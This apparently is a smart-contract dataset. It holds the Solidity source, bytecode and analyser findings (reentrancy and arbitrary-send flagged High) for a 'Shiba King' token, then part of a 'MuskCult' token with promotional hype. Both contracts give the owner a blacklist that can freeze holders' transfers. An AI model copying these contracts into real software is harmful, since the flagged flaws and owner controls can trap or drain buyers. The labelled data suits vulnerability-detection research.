require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract ShibaKing is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Shiba King";
string private constant _symbol = "SHIBKING \xF0\x9F\x91\x91";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 4250000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
| 0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a146102fa578063c3c8cd801461031a578063c9567bf91461032f578063d543dbeb14610344578063dd62ed3e1461036457600080fd5b8063715018a6146102675780638da5cb5b1461027c57806395d89b41146102a4578063a9059cbb146102da57600080fd5b8063273123b7116100dc578063273123b7146101d4578063313ce567146101f65780635932ead1146102125780636fc3eaec1461023257806370a082311461024757600080fd5b806306fdde0314610119578063095ea7b31461015e57806318160ddd1461018e57806323b872dd146101b457600080fd5b3661011457005b600080fd5b34801561012557600080fd5b5060408051808201909152600a8152695368696261204b696e6760b01b60208201525b60405161015591906119f8565b60405180910390f35b34801561016a57600080fd5b5061017e610179366004611889565b6103aa565b6040519015158152602001610155565b34801561019a57600080fd5b50683635c9adc5dea000005b604051908152602001610155565b3480156101c057600080fd5b5061017e6101cf366004611849565b6103c1565b3480156101e057600080fd5b506101f46101ef3660046117d9565b61042a565b005b34801561020257600080fd5b5060405160098152602001610155565b34801561021e57600080fd5b506101f461022d36600461197b565b61047e565b34801561023e57600080fd5b506101f46104c6565b34801561025357600080fd5b506101a66102623660046117d9565b6104f3565b34801561027357600080fd5b506101f4610515565b34801561028857600080fd5b506000546040516001600160a01b039091168152602001610155565b3480156102b057600080fd5b5060408051808201909152600d81526c534849424b494e4720f09f919160981b6020820152610148565b3480156102e657600080fd5b5061017e6102f5366004611889565b610589565b34801561030657600080fd5b506101f46103153660046118b4565b610596565b34801561032657600080fd5b506101f461063a565b34801561033b57600080fd5b506101f4610670565b34801561035057600080fd5b506101f461035f3660046119b3565b610a33565b34801561037057600080fd5b506101a661037f366004611811565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103b7338484610b06565b5060015b92915050565b60006103ce848484610c2a565b610420843361041b85604051806060016040528060288152602001611bc9602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061103c565b610b06565b5060019392505050565b6000546001600160a01b0316331461045d5760405162461bcd60e51b815260040161045490611a4b565b60405180910390fd5b6001600160a01b03166000908152600a60205260409020805460ff19169055565b6000546001600160a01b031633146104a85760405162461bcd60e51b815260040161045490611a4b565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b0316146104e657600080fd5b476104f081611076565b50565b6001600160a01b0381166000908152600260205260408120546103bb906110fb565b6000546001600160a01b0316331461053f5760405162461bcd60e51b815260040161045490611a4b565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103b7338484610c2a565b6000546001600160a01b031633146105c05760405162461bcd60e51b815260040161045490611a4b565b60005b8151811015610636576001600a60008484815181106105f257634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061062e81611b5e565b9150506105c3565b5050565b600c546001600160a01b0316336001600160a01b03161461065a57600080fd5b6000610665306104f3565b90506104f08161117f565b6000546001600160a01b0316331461069a5760405162461bcd60e51b815260040161045490611a4b565b600f54600160a01b900460ff16156106f45760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610454565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107313082683635c9adc5dea00000610b06565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561076a57600080fd5b505afa15801561077e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107a291906117f5565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107ea57600080fd5b505afa1580156107fe573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061082291906117f5565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561086a57600080fd5b505af115801561087e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a291906117f5565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d71947306108d2816104f3565b6000806108e76000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561094a57600080fd5b505af115801561095e573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061098391906119cb565b5050600f8054673afb087b8769000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b1580156109fb57600080fd5b505af1158015610a0f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106369190611997565b6000546001600160a01b03163314610a5d5760405162461bcd60e51b815260040161045490611a4b565b60008111610aad5760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610454565b610acb6064610ac5683635c9adc5dea0000084611324565b906113a3565b60108190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6001600160a01b038316610b685760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610454565b6001600160a01b038216610bc95760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610454565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c8e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610454565b6001600160a01b038216610cf05760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610454565b60008111610d525760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610454565b6000546001600160a01b03848116911614801590610d7e57506000546001600160a01b03838116911614155b15610fdf57600f54600160b81b900460ff1615610e65576001600160a01b0383163014801590610db757506001600160a01b0382163014155b8015610dd15750600e546001600160a01b03848116911614155b8015610deb5750600e546001600160a01b03838116911614155b15610e6557600e546001600160a01b0316336001600160a01b03161480610e255750600f546001600160a01b0316336001600160a01b0316145b610e655760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b6044820152606401610454565b601054811115610e7457600080fd5b6001600160a01b0383166000908152600a602052604090205460ff16158015610eb657506001600160a01b0382166000908152600a602052604090205460ff16155b610ebf57600080fd5b600f546001600160a01b038481169116148015610eea5750600e546001600160a01b03838116911614155b8015610f0f57506001600160a01b03821660009081526005602052604090205460ff16155b8015610f245750600f54600160b81b900460ff165b15610f72576001600160a01b0382166000908152600b60205260409020544211610f4d57600080fd5b610f5842603c611af0565b6001600160a01b0383166000908152600b60205260409020555b6000610f7d306104f3565b600f54909150600160a81b900460ff16158015610fa85750600f546001600160a01b03858116911614155b8015610fbd5750600f54600160b01b900460ff165b15610fdd57610fcb8161117f565b478015610fdb57610fdb47611076565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061102157506001600160a01b03831660009081526005602052604090205460ff165b1561102a575060005b611036848484846113e5565b50505050565b600081848411156110605760405162461bcd60e51b815260040161045491906119f8565b50600061106d8486611b47565b95945050505050565b600c546001600160a01b03166108fc6110908360026113a3565b6040518115909202916000818181858888f193505050501580156110b8573d6000803e3d6000fd5b50600d546001600160a01b03166108fc6110d38360026113a3565b6040518115909202916000818181858888f19350505050158015610636573d6000803e3d6000fd5b60006006548211156111625760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610454565b600061116c611411565b905061117883826113a3565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111d557634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561122957600080fd5b505afa15801561123d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061126191906117f5565b8160018151811061128257634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546112a89130911684610b06565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906112e1908590600090869030904290600401611a80565b600060405180830381600087803b1580156112fb57600080fd5b505af115801561130f573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b600082611333575060006103bb565b600061133f8385611b28565b90508261134c8583611b08565b146111785760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610454565b600061117883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611434565b806113f2576113f2611462565b6113fd848484611485565b80611036576110366005600855600a600955565b600080600061141e61157c565b909250905061142d82826113a3565b9250505090565b600081836114555760405162461bcd60e51b815260040161045491906119f8565b50600061106d8486611b08565b6008541580156114725750600954155b1561147957565b60006008819055600955565b600080600080600080611497876115be565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506114c9908761161b565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546114f8908661165d565b6001600160a01b03891660009081526002602052604090205561151a816116bc565b6115248483611706565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161156991815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea0000061159882826113a3565b8210156115b557505060065492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006115db8a60085460095461172a565b92509250925060006115eb611411565b905060008060006115fe8e878787611779565b919e509c509a509598509396509194505050505091939550919395565b600061117883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061103c565b60008061166a8385611af0565b9050838110156111785760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610454565b60006116c6611411565b905060006116d48383611324565b306000908152600260205260409020549091506116f1908261165d565b30600090815260026020526040902055505050565b600654611713908361161b565b600655600754611723908261165d565b6007555050565b600080808061173e6064610ac58989611324565b905060006117516064610ac58a89611324565b90506000611769826117638b8661161b565b9061161b565b9992985090965090945050505050565b60008080806117888886611324565b905060006117968887611324565b905060006117a48888611324565b905060006117b682611763868661161b565b939b939a50919850919650505050505050565b80356117d481611ba5565b919050565b6000602082840312156117ea578081fd5b813561117881611ba5565b600060208284031215611806578081fd5b815161117881611ba5565b60008060408385031215611823578081fd5b823561182e81611ba5565b9150602083013561183e81611ba5565b809150509250929050565b60008060006060848603121561185d578081fd5b833561186881611ba5565b9250602084013561187881611ba5565b929592945050506040919091013590565b6000806040838503121561189b578182fd5b82356118a681611ba5565b946020939093013593505050565b600060208083850312156118c6578182fd5b823567ffffffffffffffff808211156118dd578384fd5b818501915085601f8301126118f0578384fd5b81358181111561190257611902611b8f565b8060051b604051601f19603f8301168101818110858211171561192757611927611b8f565b604052828152858101935084860182860187018a1015611945578788fd5b8795505b8386101561196e5761195a816117c9565b855260019590950194938601938601611949565b5098975050505050505050565b60006020828403121561198c578081fd5b813561117881611bba565b6000602082840312156119a8578081fd5b815161117881611bba565b6000602082840312156119c4578081fd5b5035919050565b6000806000606084860312156119df578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611a2457858101830151858201604001528201611a08565b81811115611a355783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611acf5784516001600160a01b031683529383019391830191600101611aaa565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611b0357611b03611b79565b500190565b600082611b2357634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611b4257611b42611b79565b500290565b600082821015611b5957611b59611b79565b500390565b6000600019821415611b7257611b72611b79565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104f057600080fd5b80151581146104f057600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220bd6be25ddffeabc7ea97bc4740f140dbbcadc36d4a3a130ce8f519d1d2940a9c64736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 10,309 |
0xf7706403858d8787f4a197e1c30dc7ad902d58f2 | /**
🎭 MuskCult 🎭
🆕New trend meets biggest trend of all time,
what do you think that means?🆕
🎭Say Hello to the biggest gem launched in 2022,
We will use the over growing hype of
Elon and connect it with our new Cult🎭
- Contract will be renounced + Lp locked
Tg: https://t.me/MuskCult
- 1% BuyTax and 4% SellTax,Reserve for listings/ Development
- 1% MaxBuy + 3% MaxWallet for whale protection for first 10-30 mins
Milestones:
- If MC hits 500k LP extended to 1 year
*/
pragma solidity ^0.8.7;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract MuskCult is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet;
string private constant _name = "MuskCult";
string private constant _symbol = "MuskCult";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _maxWalletSize = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet = payable(0x4aAFC831084f7D3cfb381075c1F8c8139611334c);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 0;
_feeAddr2 = 1;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = 4;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
}
